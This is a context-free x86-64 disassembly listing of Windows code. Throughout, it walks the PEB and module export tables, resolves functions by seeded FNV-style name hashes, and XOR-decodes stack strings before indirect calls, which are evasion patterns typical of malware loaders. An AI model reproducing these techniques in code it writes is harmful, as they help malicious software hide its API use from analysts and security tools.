xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800b93e0
xor r9d, r9d
lea r8, [0x1801a2c24]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b94b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b94b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x26baa08a
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b94b2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b9490
cmp r8d, 0xf0af44ec
je 0x1800b94d9
test r9d, r9d
jne 0x1800b9470
mov rax, qword [rax]
jmp 0x1800b9440
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800b92c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b9587
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b9587
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x19ba8c13
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800b9582
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800b9560
cmp r8d, 0xe981ec2b
je 0x1800b958c
test r9d, r9d
jne 0x1800b9540
mov rcx, qword [rcx]
jmp 0x1800b9510
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b9637
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b9637
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x31eb5dde
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b9632
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b9610
cmp r8d, 0x4424ffe8
je 0x1800b963c
test r9d, r9d
jne 0x1800b95f0
mov rax, qword [rax]
jmp 0x1800b95c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b96e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b96e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xb51c42d7
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b96e2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b96c0
cmp r8d, 0x8122e917
je 0x1800b96ec
test r9d, r9d
jne 0x1800b96a0
mov rax, qword [rax]
jmp 0x1800b9670
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
call fcn.1800e5260
mov rcx, qword [0x18023d570]
lea r8, [0x18023d578]
lea rdx, [0x1800b3660]
call fcn.1800e4f30
test eax, eax
je 0x1800b9c3c
call fcn.1800e5260
mov r10, qword [0x180240658]
test r10, r10
jne 0x1800b97f7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800b97d8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800b97d8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xe85936e9
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800b97d3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800b97b0
cmp edx, 0x9a7bf3f8
je 0x1800b99ec
test r8d, r8d
jne 0x1800b9790
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800b97ed
cmp qword [rax + 0x30], r15
jne 0x1800b9760
mov r10, r15
mov qword [0x180240658], r10
cmp byte [0x1801b5cbb], r15b
movsd xmm0, qword [0x1801b5cb0]
mov eax, dword [0x1801b5cb8]
movsd qword [rsp + 0x30], xmm0
mov dword [rsp + 0x38], eax
je 0x1800b9940
mov r8d, r15d
cmp r12d, 2
jl 0x1800b98fc
movd eax, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm7
pmuldq xmm1, xmm8
mov r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b5cb0]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800b9910
xor r9d, r9d
lea r8, [0x1801a2c24]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b99e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b99e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x455c6b8a
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b99e2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b99c0
cmp r8d, 0x8ea815ec
je 0x1800b9a09
test r9d, r9d
jne 0x1800b99a0
mov rax, qword [rax]
jmp 0x1800b9970
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800b97f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b9ab7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b9ab7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x465c6d1d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800b9ab2
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800b9a90
cmp r8d, 0x15c34911
je 0x1800b9abc
test r9d, r9d
jne 0x1800b9a70
mov rcx, qword [rcx]
jmp 0x1800b9a40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b9b67
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b9b67
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x41a7b1ec
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b9b62
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b9b40
cmp r8d, 0xd4804fc6
je 0x1800b9b6c
test r9d, r9d
jne 0x1800b9b20
mov rax, qword [rax]
jmp 0x1800b9af0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b9c17
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b9c17
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x9c6db07a
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b9c12
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b9bf0
cmp r8d, 0x6e4ea4f2
je 0x1800b9c1c
test r9d, r9d
jne 0x1800b9bd0
mov rax, qword [rax]
jmp 0x1800b9ba0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
jmp 0x1800ba15c
mov rcx, qword [0x18023d570]
call fcn.1800e51b0
test eax, eax
je 0x1800ba15c
mov r10, qword [0x180240650]
test r10, r10
jne 0x1800b9d17
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800b9cf8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800b9cf8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x603fea74
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800b9cf3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800b9cd0
cmp edx, 0x9d15f40f
je 0x1800b9f0c
test r8d, r8d
jne 0x1800b9cb0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800b9d0d
cmp qword [rax + 0x30], r15
jne 0x1800b9c80
mov r10, r15
mov qword [0x180240650], r10
mov eax, dword [0x1801b5cc8]
mov r8d, r15d
movsd xmm0, qword [0x1801b5cc0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1801b5ccc]
mov byte [rbp - 0x7d], al
movsd qword [rsp + 0x30], xmm0
cmp r12d, 2
jl 0x1800b9e19
movd eax, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm7
pmuldq xmm1, xmm8
mov r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b5cc0]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800b9e30
xor r9d, r9d
lea r8, [0x1801a2c24]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b9f07
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b9f07
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x9a969dd7
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b9f02
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b9ee0
cmp r8d, 0xf7437193
je 0x1800b9f29
test r9d, r9d
jne 0x1800b9ec0
mov rax, qword [rax]
jmp 0x1800b9e90
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800b9d10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b9fd7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b9fd7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x8f968c86
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800b9fd2
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800b9fb0
cmp r8d, 0x5a99c7be
je 0x1800b9fdc
test r9d, r9d
jne 0x1800b9f90
mov rcx, qword [rcx]
jmp 0x1800b9f60
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800ba087
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800ba087
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x23f3ae23
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800ba082
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800ba060
cmp r8d, 0xade7ba5f
je 0x1800ba08c
test r9d, r9d
jne 0x1800ba040
mov rax, qword [rax]
jmp 0x1800ba010
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800ba137
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800ba137
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xb66dabdc
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800ba132
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800ba110
cmp r8d, 0xe288730c
je 0x1800ba13c
test r9d, r9d
jne 0x1800ba0f0
mov rax, qword [rax]
jmp 0x1800ba0c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
call fcn.1800e5260
mov rcx, qword [0x18023d5f0]
lea r8, [0x18023d5e8]
lea rdx, [0x1800b8280]
call fcn.1800e4f30
test eax, eax
je 0x1800ba670
mov r10, qword [0x180240648]
test r10, r10
jne 0x1800ba247
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800ba228
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800ba228
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xed681434
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800ba223
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800ba200
cmp edx, 0x67fce9cf
je 0x1800ba43c
test r8d, r8d
jne 0x1800ba1e0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800ba23d
cmp qword [rax + 0x30], r15
jne 0x1800ba1b0
mov r10, r15
mov qword [0x180240648], r10
cmp byte [0x1801b5cdb], r15b
movsd xmm0, qword [0x1801b5cd0]
mov eax, dword [0x1801b5cd8]
movsd qword [rsp + 0x30], xmm0
mov dword [rsp + 0x38], eax
je 0x1800ba390
mov r8d, r15d
cmp r12d, 2
jl 0x1800ba34c
movd eax, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm7
pmuldq xmm1, xmm8
mov r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b5cd0]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800ba360
xor r9d, r9d
lea r8, [0x1801a2c24]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800ba437
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800ba437
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x4bf03d75
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800ba432
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800ba410
cmp r8d, 0x2796feb5
je 0x1800ba459
test r9d, r9d
jne 0x1800ba3f0
mov rax, qword [rax]
jmp 0x1800ba3c0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800ba240
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800ba507
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800ba507
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x4af03be2
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800ba502
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800ba4e0
cmp r8d, 0x153f0b2a
je 0x1800ba50c
test r9d, r9d
jne 0x1800ba4c0
mov rcx, qword [rcx]
jmp 0x1800ba490
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800ba5b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800ba5b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa2d24afa
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800ba5b2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800ba590
cmp r8d, 0xa672c62c
je 0x1800ba5bc
test r9d, r9d
jne 0x1800ba570
mov rax, qword [rax]
jmp 0x1800ba540
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
